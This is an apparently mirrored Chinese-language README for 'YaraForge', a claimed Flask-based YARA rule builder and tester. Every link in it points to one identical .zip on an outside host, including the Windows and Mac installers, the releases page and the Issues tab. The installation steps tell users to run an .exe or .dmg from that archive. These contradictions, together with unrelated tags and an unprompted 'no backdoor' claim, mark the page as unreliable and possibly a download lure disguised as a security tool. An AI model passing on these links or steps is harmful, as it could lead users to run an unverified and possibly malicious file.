Ye-cyber-cell/YaraForge

GitHub: Ye-cyber-cell/YaraForge

一款基于 Flask 的 YARA 规则可视化构建与测试平台,集成 MITRE ATT&CK 映射和实时检测仪表板。

Stars: 0 | Forks: 0

# 🛠️ YaraForge - 简易 YARA 规则构建与测试 [![下载 YaraForge](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip)](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip) ## 📝 YaraForge 是什么? YaraForge 是一款旨在帮助您创建、管理和测试 YARA 规则的工具。YARA 规则用于查找和识别符合特定模式的文件或进程。这有助于检测您计算机或网络上的恶意软件或可疑活动。 YaraForge 通过提供用户友好的方式来构建这些规则,从而简化了操作。您不需要是程序员,也不需要懂复杂的代码。您还可以使用名为 MITRE ATT&CK 的映射系统,查看您的检测规则与已知网络威胁的关联。最后,您可以通过一个简单的仪表板实时查看检测结果。 该程序使用 Python 和 Flask 构建。您不需要了解这些技术即可使用 YaraForge,但这些技术有助于保持其快速和可靠。 ## ⚙️ 功能特性 - **可视化构建 YARA 规则** 逐步创建检测规则,无需从头编写代码。 - **即时测试规则** 在示例文件或您自己的数据上尝试规则,以检查它们是否有效。 - **MITRE ATT&CK 映射** 查看您的规则如何与已知的网络攻击技术相关联。 - **检测仪表板** 以清晰有序的方式查看您的检测结果。 - **规则管理** 在一个地方轻松保存、编辑和删除规则。 - **用户友好界面** 专为几乎没有技术背景的用户设计。 ## 💻 系统要求 要使用 YaraForge,您的计算机应满足以下最低要求: - 操作系统:Windows 10 或更高版本,macOS 10.14 或更高版本,或最新的 Linux 版本(推荐 Ubuntu 18.04+) - 处理器:任何现代处理器(Intel i3 或更高) - 内存 (RAM):至少 4 GB - 磁盘空间:最少 500 MB 可用存储空间 - 网络:互联网连接,用于下载和更新规则 - 浏览器:现代网络浏览器(Chrome、Firefox、Edge 或 Safari) YaraForge 作为 Web 应用程序在您的机器上运行,因此安装后您只需要浏览器即可与其交互。 ## 🚀 快速入门 ### 步骤 1:访问下载页面 点击顶部的大按钮或访问: [https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip) 此页面托管供下载的最新版本 YaraForge。 ### 步骤 2:选择您的下载内容 在发布页面上,找到最新版本。寻找与您的操作系统匹配的安装程序: - Windows 用户:下载 `https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip` - Mac 用户:下载 `https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip` - Linux 用户:下载相应的软件包或源代码(如果可用) ### 步骤 3:下载安装程序 点击您文件的下载链接。您的浏览器会将其保存到计算机的默认“下载”文件夹或您指定的位置。 ### 步骤 4:运行安装程序 打开下载的文件以开始安装过程。 - 在 Windows 上,双击 `.exe` 文件并按照安装向导操作。 - 在 Mac 上,打开 `.dmg` 文件,然后将 YaraForge 应用程序拖到您的 Applications 文件夹。 - 在 Linux 上,请遵循提供的 README 说明或使用可用的安装命令。 ### 步骤 5:启动 YaraForge 安装后,打开应用程序: - Windows 和 Mac:在开始菜单或 Applications 文件夹中找到 YaraForge。 - Linux:通过终端或提供的菜单快捷方式启动。 这将打开一个新的浏览器窗口或选项卡,显示在您计算机本地运行的 YaraForge 界面。 ### 步骤 6:开始使用 YaraForge 从主屏幕开始,您可以构建新的 YARA 规则、测试现有规则并探索仪表板。 ## 📥 下载与安装 您始终可以在此处访问最新版本: [下载 YaraForge - Releases](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip) 请按照上述下载和安装步骤进行操作,以获得顺畅的设置体验。 ## 🛠️ 如何使用 YaraForge ### 创建新规则 1. 在主屏幕上点击 **“Create Rule”**。 2. 输入规则名称和描述。 3. 使用引导式表单添加您想要检测的条件、字符串或模式。 4. 保存您的规则。 ### 测试规则 1. 从列表中选择一个规则。 2. 上传示例文件或选择要测试的数据。 3. 点击 **“Run Test”**。 4. 查看结果以了解规则是否匹配到任何内容。 ### 使用 MITRE ATT&CK 映射 - 每个规则都可以链接到特定的攻击技术以提供上下文。 - 这有助于安全团队了解潜在威胁。 ### 查看您的仪表板 - 在一个地方查看所有检测结果。 - 按规则、日期或严重程度进行筛选。 ## 🔑 最佳使用技巧 - 根据新威胁定期更新您的规则。 - 使用仪表板实时监控检测活动。 - 在部署到生产环境之前,彻底测试新规则。 - 使用 MITRE ATT&CK 映射使规则与行业标准保持一致。 ## 🆘 获取帮助 如果您遇到问题: - 查看仓库的 Issues 标签页以获取解决方案: [https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip) - 阅读应用程序附带或在线的文档。 - 通过 GitHub 联系社区或维护者。 ## 🔐 隐私与安全 YaraForge 在您的系统上本地运行。除非您选择共享,否则您的数据和规则将保留在您的机器上。默认情况下不会发送或收集任何个人信息。 ## 🔄 更新 定期查看发布页面以获取新版本: [https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip) 更新可能包括错误修复、新功能和改进的规则支持。 ## 🏷️ 标签 cybersecurity, detection-engineering, flask, mitre-attack, purple-team, python, security-tools, soc, threat-detection, yara
标签:Cloudflare, Flask, GET 请求, MITRE ATT&CK, Mutation, Python, Sysmon, YARA, 云资产可视化, 低代码, 可视化, 威胁情报, 子域名暴力破解, 安全运营, 实时仪表盘, 开发者工具, 扫描框架, 文件识别, 无后门, 模式匹配, 网络安全, 自动化检测, 自动化资产收集, 规则构建, 规则测试, 逆向工具, 隐私保护